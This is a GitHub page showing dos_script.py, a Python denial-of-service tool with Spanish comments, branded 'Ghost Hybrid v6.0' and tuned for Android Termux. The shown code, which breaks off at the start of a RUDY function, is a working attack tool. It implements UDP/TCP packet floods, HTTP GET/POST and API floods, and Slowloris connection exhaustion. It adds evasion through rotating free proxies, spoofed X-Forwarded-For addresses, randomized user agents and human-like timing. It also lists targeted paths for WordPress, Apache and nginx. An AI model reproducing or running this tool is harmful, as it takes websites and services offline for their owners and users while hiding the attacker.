-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdos_script.py
More file actions
2165 lines (1828 loc) · 83.9 KB
/
dos_script.py
File metadata and controls
2165 lines (1828 loc) · 83.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
import sys
import os
import time
import socket
import random
import argparse
import threading
import signal
import requests
import json
import asyncio
import aiohttp
import ssl
import socks
import subprocess
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from ipaddress import ip_address, IPv4Address
from urllib.parse import urlparse
# Configuración global híbrida
sent_packets = 0
start_time = time.time()
attack_running = True
lock = threading.Lock()
proxy_list = []
current_proxy_index = 0
proxy_rotation_counter = 0
config_file = "ghost_hybrid_config.json"
reports_file = "ghost_hybrid_reports.json"
bandwidth_monitor = []
# Detección automática de Termux
IS_TERMUX = os.path.exists('/data/data/com.termux/files/usr/bin')
# Base de datos extendida de User-Agents reales
USER_AGENTS = [
# Android específicos para Termux
'Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36',
'Mozilla/5.0 (Android 14; Mobile; rv:109.0) Gecko/119.0 Firefox/119.0',
'Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-A525F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/20.0 Chrome/106.0.0.0 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 12; SM-A525F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 14; OnePlus 11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36',
# Desktop comunes
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0',
'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/119.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/119.0.0.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15'
]
# Headers HTTP adicionales para mayor realismo (del original)
HTTP_HEADERS = [
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language: en-US,en;q=0.5',
'Accept-Encoding: gzip, deflate, br',
'Accept-Language: es-ES,es;q=0.8,en;q=0.3',
'Accept-Language: fr-FR,fr;q=0.9,en;q=0.1',
'Connection: keep-alive',
'Upgrade-Insecure-Requests: 1',
'Sec-Fetch-Dest: document',
'Sec-Fetch-Mode: navigate',
'Sec-Fetch-Site: none',
'DNT: 1',
'Cache-Control: max-age=0'
]
# Payloads específicos para diferentes servicios (EXPANDIDO)
HTTP_PAYLOADS = {
'wordpress': [
'/wp-admin/admin-ajax.php',
'/wp-login.php',
'/wp-admin/',
'/xmlrpc.php',
'/wp-content/plugins/',
'/wp-cron.php',
'/wp-includes/js/',
'/wp-admin/load-scripts.php',
'/wp-json/wp/v2/users',
'/wp-content/themes/',
'/wp-admin/admin-post.php'
],
'apache': [
'/.htaccess',
'/server-status',
'/server-info',
'/cgi-bin/',
'/.htpasswd',
'/icons/',
'/manual/',
'/error/'
],
'nginx': [
'/nginx_status',
'/.well-known/',
'/status',
'/basic_status',
'/stub_status'
],
'api_endpoints': [
'/api/v1/',
'/api/v2/',
'/rest/api/',
'/graphql',
'/api/users',
'/api/login',
'/api/search',
'/webhook',
'/api/auth',
'/api/posts',
'/api/data'
],
'cms_common': [
'/admin/',
'/login',
'/dashboard',
'/search',
'/contact',
'/register',
'/upload',
'/user/',
'/profile',
'/settings'
],
'generic': [
'/',
'/index.html',
'/robots.txt',
'/favicon.ico',
'/sitemap.xml',
'/search',
'/?s=test',
'/about',
'/contact',
'/help'
]
}
# Patrones de timing que simulan comportamiento humano (del original)
TIMING_PATTERNS = {
'aggressive': (0.001, 0.005),
'normal': (0.01, 0.05),
'stealth': (0.1, 0.5),
'human_like': (1.0, 3.0)
}
# Headers optimizados híbridos
TERMUX_HEADERS = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0',
'X-Forwarded-For': '',
'X-Real-IP': '',
'X-Originating-IP': ''
}
# Métodos de ataque híbridos (15 métodos + originales)
ATTACK_METHODS = {
# Métodos clásicos del original mejorados
'udp_flood': 'UDP Flooding (Classic)',
'tcp_flood': 'TCP Flooding (Classic)',
'http_classic': 'HTTP Classic Flooding',
'random_classic': 'Random Classic Methods',
# Nuevos métodos Layer 7
'http_flood': 'HTTP GET/POST Flooding',
'slowloris': 'Slowloris Connection Exhaustion',
'slow_post': 'Slow POST Attack',
'get_flood': 'Rapid GET Requests',
'mixed_layer7': 'Mixed Layer 7 Attacks',
'websocket_flood': 'WebSocket Flooding',
'api_flood': 'API Endpoint Flooding',
'rudy_attack': 'R.U.D.Y (Are You Dead Yet)',
'hulk_attack': 'HULK DoS Attack',
'goldeneye': 'Golden Eye HTTP DoS',
'byob_attack': 'Bring Your Own Bot',
'ssl_exhaustion': 'SSL Handshake Exhaustion',
'cache_poisoning': 'Cache Poisoning Attack',
'form_flooding': 'Form Submission Flooding',
'search_flooding': 'Search Engine Flooding'
}
class Colors:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
PURPLE = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
ENDC = '\033[0m'
BOLD = '\033[1m'
def clear_screen():
"""Limpiar la pantalla de manera compatible con diferentes OS"""
os.system('cls' if os.name == 'nt' else 'clear')
def detect_system_resources():
"""Detecta recursos del sistema optimizado para Termux"""
try:
import psutil
# CPU cores
cpu_count = os.cpu_count() or 2
# Memoria disponible
if IS_TERMUX:
memory_mb = psutil.virtual_memory().available // (1024 * 1024)
if memory_mb < 1024: # < 1GB
recommended_threads = min(15, cpu_count * 2)
elif memory_mb < 2048: # < 2GB
recommended_threads = min(25, cpu_count * 3)
elif memory_mb < 4096: # < 4GB
recommended_threads = min(35, cpu_count * 4)
else: # >= 4GB (como Samsung A52s)
recommended_threads = min(50, cpu_count * 5)
else:
recommended_threads = min(100, cpu_count * 8)
return {
'cpu_count': cpu_count,
'memory_mb': memory_mb if IS_TERMUX else psutil.virtual_memory().available // (1024 * 1024),
'recommended_threads': recommended_threads,
'is_termux': IS_TERMUX
}
except:
return {
'cpu_count': 4,
'memory_mb': 2048,
'recommended_threads': 35,
'is_termux': IS_TERMUX
}
def validate_ip(ip):
"""Validar que la dirección IP sea válida (del original)"""
try:
return str(ip_address(ip))
except ValueError:
return False
def validate_port(port):
"""Validar que el puerto esté en el rango correcto (del original)"""
try:
port = int(port)
if 1 <= port <= 65535:
return port
return False
except ValueError:
return False
def validate_target(target):
"""Validación avanzada de objetivo"""
if target.startswith(('http://', 'https://')):
try:
parsed = urlparse(target)
return {
'type': 'url',
'host': parsed.hostname,
'port': parsed.port or (443 if parsed.scheme == 'https' else 80),
'scheme': parsed.scheme,
'path': parsed.path or '/',
'full_url': target
}
except:
return None
else:
try:
ip = str(ip_address(target))
return {
'type': 'ip',
'host': ip,
'port': 80,
'scheme': 'http',
'path': '/',
'full_url': f'http://{ip}'
}
except:
return None
def generate_fake_ip():
"""Genera IP falsa para headers X-Forwarded-For"""
return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
def signal_handler(sig, frame):
"""Maneja la interrupción del usuario con CTRL+C (del original)"""
global attack_running
print(f"\n{Colors.YELLOW}[*] Deteniendo el ataque...{Colors.ENDC}")
attack_running = False
time.sleep(1.5)
save_report()
show_stats()
sys.exit(0)
def load_config():
"""Carga configuración desde archivo JSON (del original mejorada)"""
default_config = {
"default_threads": 35,
"default_method": "mixed_layer7",
"timing_pattern": "normal",
"proxy_rotation_freq": 25,
"user_agent_rotation": True,
"stealth_mode": False,
"advanced_evasion": True,
"auto_proxy_verification": True,
"hybrid_mode": True
}
try:
if os.path.exists(config_file):
with open(config_file, 'r') as f:
config = json.load(f)
return {**default_config, **config}
except:
pass
return default_config
def save_config(config):
"""Guarda configuración en archivo JSON (del original)"""
try:
with open(config_file, 'w') as f:
json.dump(config, f, indent=4)
print(f"{Colors.GREEN}[+] Configuración guardada en {config_file}{Colors.ENDC}")
except Exception as e:
print(f"{Colors.RED}[!] Error guardando configuración: {str(e)}{Colors.ENDC}")
def save_report():
"""Guarda reporte del ataque en archivo JSON (del original)"""
global sent_packets, start_time, proxy_rotation_counter
duration = time.time() - start_time
pps = sent_packets / duration if duration > 0 else 0
report = {
"timestamp": datetime.now().isoformat(),
"duration": round(duration, 2),
"packets_sent": sent_packets,
"packets_per_second": round(pps, 2),
"proxy_rotations": proxy_rotation_counter,
"proxies_used": len(proxy_list),
"version": "Ghost Hybrid v6.0"
}
try:
reports = []
if os.path.exists(reports_file):
with open(reports_file, 'r') as f:
reports = json.load(f)
reports.append(report)
# Mantener solo los últimos 50 reportes
if len(reports) > 50:
reports = reports[-50:]
with open(reports_file, 'w') as f:
json.dump(reports, f, indent=4)
print(f"{Colors.GREEN}[+] Reporte guardado en {reports_file}{Colors.ENDC}")
except Exception as e:
print(f"{Colors.RED}[!] Error guardando reporte: {str(e)}{Colors.ENDC}")
def show_stats():
"""Muestra estadísticas del ataque (del original)"""
global sent_packets, start_time, proxy_rotation_counter
duration = time.time() - start_time
if duration > 0:
pps = sent_packets / duration
else:
pps = 0
print(f"\n{Colors.BOLD}{Colors.BLUE}═══════════ Estadísticas del Ataque ═══════════{Colors.ENDC}")
print(f"{Colors.GREEN}[+] Paquetes Enviados: {Colors.BOLD}{sent_packets:,}{Colors.ENDC}")
print(f"{Colors.GREEN}[+] Duración: {Colors.BOLD}{duration:.2f} segundos{Colors.ENDC}")
print(f"{Colors.GREEN}[+] Paquetes por segundo: {Colors.BOLD}{pps:.2f}{Colors.ENDC}")
if len(proxy_list) > 0:
print(f"{Colors.GREEN}[+] Rotaciones de proxy: {Colors.BOLD}{proxy_rotation_counter}{Colors.ENDC}")
print(f"{Colors.GREEN}[+] Proxies utilizados: {Colors.BOLD}{len(proxy_list)}{Colors.ENDC}")
print(f"{Colors.BLUE}═════════════════════════════════════════{Colors.ENDC}\n")
def get_free_proxies():
"""Obtiene una lista de proxies gratuitos desde varias fuentes mejoradas (del original)"""
proxies = []
sources = [
'https://proxylist.geonode.com/api/proxy-list?limit=100&page=1&sort_by=lastChecked&sort_type=desc&filterUpTime=80',
'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt',
'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt',
'https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt',
'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt'
]
for source in sources:
try:
if 'geonode.com' in source:
response = requests.get(source, timeout=10)
if response.status_code == 200:
data = response.json()
for proxy in data.get('data', []):
ip = proxy.get('ip')
port = proxy.get('port')
protocol = proxy.get('protocols', ['http'])[0].lower()
if ip and port and protocol in ['http', 'socks4', 'socks5']:
proxies.append({
'ip': ip,
'port': int(port),
'type': protocol
})
else:
response = requests.get(source, timeout=10)
if response.status_code == 200:
for line in response.text.split('\n'):
if ':' in line and not line.startswith('#'):
parts = line.strip().split(':')
if len(parts) >= 2:
ip = parts[0]
port = parts[1]
if ip and port:
if 'socks5' in source:
proxy_type = 'socks5'
elif 'socks4' in source:
proxy_type = 'socks4'
else:
proxy_type = 'http'
proxies.append({
'ip': ip,
'port': int(port),
'type': proxy_type
})
except:
continue
# Lista de respaldo mejorada
if not proxies:
proxies = [
{'ip': '103.152.112.162', 'port': 80, 'type': 'http'},
{'ip': '193.36.39.35', 'port': 4145, 'type': 'socks4'},
{'ip': '185.151.86.121', 'port': 3699, 'type': 'socks5'},
{'ip': '178.62.229.24', 'port': 7497, 'type': 'socks5'},
{'ip': '95.179.242.185', 'port': 10823, 'type': 'socks5'},
{'ip': '51.158.119.88', 'port': 1080, 'type': 'socks5'},
{'ip': '95.216.181.107', 'port': 9070, 'type': 'socks5'},
{'ip': '207.180.204.70', 'port': 48462, 'type': 'socks5'}
]
# Eliminar duplicados
unique_proxies = []
seen = set()
for proxy in proxies:
key = f"{proxy['ip']}:{proxy['port']}"
if key not in seen:
seen.add(key)
unique_proxies.append(proxy)
return unique_proxies
def test_proxy(proxy):
"""Prueba si un proxy está funcionando (del original)"""
try:
if proxy['type'] == 'http':
test_proxy_dict = {
'http': f"http://{proxy['ip']}:{proxy['port']}",
'https': f"http://{proxy['ip']}:{proxy['port']}"
}
response = requests.get('http://httpbin.org/ip', proxies=test_proxy_dict, timeout=5)
return response.status_code == 200
elif proxy['type'] in ['socks4', 'socks5']:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
sock.connect((proxy['ip'], proxy['port']))
sock.close()
return True
except:
sock.close()
return False
except:
return False
def verify_and_score_proxies(proxy_list):
"""Verifica y puntúa los proxies disponibles (del original)"""
working_proxies = []
print(f"{Colors.BLUE}[*] Verificando {len(proxy_list)} proxies...{Colors.ENDC}")
for i, proxy in enumerate(proxy_list):
if not attack_running:
break
print(f"{Colors.YELLOW}[*] Probando proxy {i + 1}/{len(proxy_list)}: {proxy['ip']}:{proxy['port']}{Colors.ENDC}", end='\r')
start_test = time.time()
if test_proxy(proxy):
response_time = time.time() - start_test
proxy['response_time'] = response_time
proxy['score'] = 1.0 / (response_time + 0.1)
working_proxies.append(proxy)
working_proxies.sort(key=lambda x: x.get('score', 0), reverse=True)
print(f"\n{Colors.GREEN}[+] {len(working_proxies)} proxies verificados y funcionales{Colors.ENDC}")
return working_proxies
def rotate_proxy():
"""Rota al siguiente proxy en la lista con mejor gestión (del original)"""
global current_proxy_index, proxy_rotation_counter
if not proxy_list:
return None
with lock:
current_proxy_index = (current_proxy_index + 1) % len(proxy_list)
proxy_rotation_counter += 1
return proxy_list[current_proxy_index]
def get_current_proxy():
"""Obtiene el proxy actual (del original)"""
if not proxy_list or current_proxy_index >= len(proxy_list):
return None
return proxy_list[current_proxy_index]
def setup_proxy_socket(proxy=None):
"""Configura un socket que usa un proxy (del original)"""
if not proxy:
return socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proxy_type = proxy['type']
proxy_ip = proxy['ip']
proxy_port = proxy['port']
try:
if proxy_type == 'http':
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
elif proxy_type == 'socks4':
sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
sock.set_proxy(socks.SOCKS4, proxy_ip, proxy_port)
elif proxy_type == 'socks5':
sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
sock.set_proxy(socks.SOCKS5, proxy_ip, proxy_port)
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return sock
except:
return socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def generate_advanced_packet(min_size=64, max_size=1490, stealth_mode=False):
"""Genera paquetes avanzados con mayor realismo (del original)"""
size = random.randint(min_size, max_size)
# Cabecera más realista
header = bytes([random.randint(0, 255) for _ in range(8)])
# ID de transacción más realista
transaction_id = random.randint(1000000, 9999999).to_bytes(4, byteorder='big')
# User-Agent aleatorio
user_agent = random.choice(USER_AGENTS)
# Headers HTTP adicionales aleatorios
additional_headers = random.sample(HTTP_HEADERS, random.randint(2, 5))
# Construir request HTTP más realista
if stealth_mode:
methods = ['GET', 'POST']
paths = ['/', '/index.html', '/api/status', '/favicon.ico', '/robots.txt']
versions = ['HTTP/1.1', 'HTTP/2.0']
method = random.choice(methods)
path = random.choice(paths)
version = random.choice(versions)
http_request = f"{method} {path} {version}\r\n"
http_request += f"User-Agent: {user_agent}\r\n"
http_request += f"Host: target-server.com\r\n"
for header_line in additional_headers:
http_request += f"{header_line}\r\n"
http_request += "\r\n"
legitimate_content = http_request.encode()
else:
legitimate_headers = [
b'GET / HTTP/1.1\r\n',
b'POST /api/data HTTP/1.1\r\n',
b'PUT /upload HTTP/1.1\r\n',
b'HEAD /status HTTP/1.1\r\n',
b'OPTIONS * HTTP/1.1\r\n'
]
legitimate_content = random.choice(legitimate_headers)
legitimate_content += f"User-Agent: {user_agent}\r\n".encode()
# Payload con patrones más diversos
patterns = [
bytes([i % 256 for i in range(64)]),
bytes([random.randint(0, 255) for _ in range(64)]),
b'A' * 64,
b'0' * 64,
os.urandom(64),
b'Cache-Control: no-cache\r\n',
b'Pragma: no-cache\r\n',
b'Accept: */*\r\n'
]
payload = legitimate_content
remaining = size - len(header) - len(legitimate_content) - len(transaction_id)
while remaining > 0:
pattern = random.choice(patterns)
if len(pattern) > remaining:
payload += pattern[:remaining]
remaining = 0
else:
payload += pattern
remaining -= len(pattern)
return header + transaction_id + payload
# ==================== MÉTODOS DE ATAQUE CLÁSICOS (del original) ====================
def send_packet(target_ip, target_port, sock_type="udp", use_proxy=False, timing_pattern="normal", stealth_mode=False, rotation_freq=25):
"""Envía un solo paquete al objetivo con mejoras avanzadas (del original)"""
global sent_packets
try:
current_proxy = get_current_proxy() if use_proxy else None
if use_proxy and sent_packets % rotation_freq == 0 and sent_packets > 0:
current_proxy = rotate_proxy()
if sock_type == "udp":
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
elif sock_type == "tcp":
if use_proxy and current_proxy:
sock = setup_proxy_socket(current_proxy)
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
if use_proxy and current_proxy and current_proxy['type'] == 'http':
sock.connect((current_proxy['ip'], current_proxy['port']))
connect_str = f"CONNECT {target_ip}:{target_port} HTTP/1.1\r\nHost: {target_ip}:{target_port}\r\n\r\n"
sock.send(connect_str.encode())
response = sock.recv(4096)
if b"200" not in response:
sock.close()
return False
else:
sock.connect((target_ip, target_port))
except:
sock.close()
return False
else:
return False
packet = generate_advanced_packet(stealth_mode=stealth_mode)
if sock_type == "udp":
sock.sendto(packet, (target_ip, target_port))
else:
sock.send(packet)
sock.close()
with lock:
sent_packets += 1
return True
except:
if use_proxy:
rotate_proxy()
return False
def attack_thread(target_ip, target_port, sock_type, use_proxy=False, timing_pattern="normal", stealth_mode=False, rotation_freq=25):
"""Función para cada hilo de ataque con timing mejorado (del original)"""
timing_range = TIMING_PATTERNS.get(timing_pattern, TIMING_PATTERNS['normal'])
while attack_running:
if sock_type == "random":
current_sock_type = random.choice(["udp", "tcp"])
else:
current_sock_type = sock_type
if target_port == 0:
port = random.randint(1, 65535)
else:
port = target_port
send_packet(target_ip, port, current_sock_type, use_proxy, timing_pattern, stealth_mode, rotation_freq)
# Pausa con patrón de timing seleccionado
sleep_time = random.uniform(timing_range[0], timing_range[1])
time.sleep(sleep_time)
# ==================== MÉTODOS DE ATAQUE LAYER 7 HÍBRIDOS ====================
async def http_flood_attack(session, target_info, method='GET', use_proxy=False):
"""Ataque HTTP Flood asíncrono optimizado híbrido"""
global sent_packets
headers = TERMUX_HEADERS.copy()
headers['User-Agent'] = random.choice(USER_AGENTS)
headers['X-Forwarded-For'] = generate_fake_ip()
headers['X-Real-IP'] = generate_fake_ip()
# Seleccionar payload según el objetivo detectado
url_lower = target_info.get('full_url', '').lower()
if 'wordpress' in url_lower or 'wp-' in url_lower:
paths = HTTP_PAYLOADS['wordpress']
elif 'api' in url_lower:
paths = HTTP_PAYLOADS['api_endpoints']
elif 'nginx' in headers.get('Server', '').lower():
paths = HTTP_PAYLOADS['nginx']
else:
paths = HTTP_PAYLOADS['generic']
path = random.choice(paths)
url = f"{target_info['scheme']}://{target_info['host']}:{target_info['port']}{path}"
# Configurar proxy si está habilitado
proxy_url = None
if use_proxy and proxy_list:
current_proxy = get_current_proxy()
if current_proxy and current_proxy['type'] == 'http':
proxy_url = f"http://{current_proxy['ip']}:{current_proxy['port']}"
try:
if method == 'GET':
async with session.get(url, headers=headers, proxy=proxy_url, timeout=5) as response:
await response.read()
elif method == 'POST':
data = {'data': 'x' * random.randint(100, 1000)}
async with session.post(url, headers=headers, data=data, proxy=proxy_url, timeout=5) as response:
await response.read()
with lock:
sent_packets += 1
return True
except:
if use_proxy:
rotate_proxy()
return False
async def slowloris_attack(target_info, use_proxy=False):
"""Ataque Slowloris optimizado híbrido"""
global sent_packets
try:
# Configurar proxy para conexión directa si está habilitado
if use_proxy and proxy_list:
current_proxy = get_current_proxy()
if current_proxy and current_proxy['type'] in ['socks4', 'socks5']:
# Para Slowloris con SOCKS, crear conexión especial
sock = setup_proxy_socket(current_proxy)
sock.settimeout(10)
sock.connect((target_info['host'], target_info['port']))
# Enviar headers HTTP incompletos
headers = [
f"GET {target_info['path']} HTTP/1.1\r\n",
f"Host: {target_info['host']}\r\n",
f"User-Agent: {random.choice(USER_AGENTS)}\r\n",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
"Accept-Language: en-US,en;q=0.5\r\n",
"Accept-Encoding: gzip, deflate\r\n",
"Connection: keep-alive\r\n"
]
for header in headers:
sock.send(header.encode())
time.sleep(random.uniform(1, 3))
with lock:
sent_packets += 1
time.sleep(random.uniform(10, 30))
sock.close()
return True
# Conexión directa sin proxy
if target_info['scheme'] == 'https':
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
reader, writer = await asyncio.open_connection(
target_info['host'],
target_info['port'],
ssl=ssl_context
)
else:
reader, writer = await asyncio.open_connection(
target_info['host'],
target_info['port']
)
headers = [
f"GET {target_info['path']} HTTP/1.1\r\n",
f"Host: {target_info['host']}\r\n",
f"User-Agent: {random.choice(USER_AGENTS)}\r\n",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
"Accept-Language: en-US,en;q=0.5\r\n",
"Accept-Encoding: gzip, deflate\r\n",
"Connection: keep-alive\r\n"
]
for header in headers:
writer.write(header.encode())
await writer.drain()
await asyncio.sleep(random.uniform(1, 3))
with lock:
sent_packets += 1
await asyncio.sleep(random.uniform(10, 30))
writer.close()
await writer.wait_closed()
return True
except:
if use_proxy:
rotate_proxy()
return False
async def get_flood_attack(session, target_info, use_proxy=False):
"""Ataque GET Flood masivo y rápido híbrido"""
global sent_packets
headers = TERMUX_HEADERS.copy()
headers['User-Agent'] = random.choice(USER_AGENTS)
headers['X-Forwarded-For'] = generate_fake_ip()
headers['X-Real-IP'] = generate_fake_ip()
headers['Cache-Control'] = 'no-cache'
headers['Pragma'] = 'no-cache'
paths = HTTP_PAYLOADS['generic'] + HTTP_PAYLOADS['cms_common']
# Configurar proxy
proxy_url = None
if use_proxy and proxy_list:
current_proxy = get_current_proxy()
if current_proxy and current_proxy['type'] == 'http':
proxy_url = f"http://{current_proxy['ip']}:{current_proxy['port']}"
try:
for _ in range(random.randint(5, 15)):
if not attack_running:
break
path = random.choice(paths)
url = f"{target_info['scheme']}://{target_info['host']}:{target_info['port']}{path}"
params = {
'cache_bust': random.randint(1000000, 9999999),
'timestamp': int(time.time()),
'random': random.randint(1, 1000)
}
async with session.get(url, headers=headers, params=params, proxy=proxy_url, timeout=3) as response:
await response.read()
with lock:
sent_packets += 1
await asyncio.sleep(0.001)
return True
except:
if use_proxy:
rotate_proxy()
return False
async def api_flood_attack(session, target_info, use_proxy=False):
"""Ataque especializado en APIs híbrido"""
global sent_packets
headers = TERMUX_HEADERS.copy()
headers['User-Agent'] = random.choice(USER_AGENTS)
headers['Content-Type'] = 'application/json'
headers['Accept'] = 'application/json'
headers['X-Requested-With'] = 'XMLHttpRequest'
headers['X-API-Key'] = 'test_' + str(random.randint(100000, 999999))
api_paths = HTTP_PAYLOADS['api_endpoints']
# Configurar proxy
proxy_url = None
if use_proxy and proxy_list:
current_proxy = get_current_proxy()
if current_proxy and current_proxy['type'] == 'http':
proxy_url = f"http://{current_proxy['ip']}:{current_proxy['port']}"
try:
for _ in range(random.randint(3, 8)):
if not attack_running:
break
path = random.choice(api_paths)
url = f"{target_info['scheme']}://{target_info['host']}:{target_info['port']}{path}"
json_data = {
'query': 'x' * random.randint(100, 500),
'limit': random.randint(1, 100),
'offset': random.randint(0, 1000),
'timestamp': time.time(),
'user_id': random.randint(1, 10000)
}
if random.choice([True, False]):
async with session.get(url, headers=headers, params=json_data, proxy=proxy_url, timeout=5) as response:
await response.read()
else:
async with session.post(url, headers=headers, json=json_data, proxy=proxy_url, timeout=5) as response:
await response.read()
with lock:
sent_packets += 1
await asyncio.sleep(0.01)
return True
except:
if use_proxy:
rotate_proxy()
return False
async def rudy_attack(target_info, use_proxy=False):
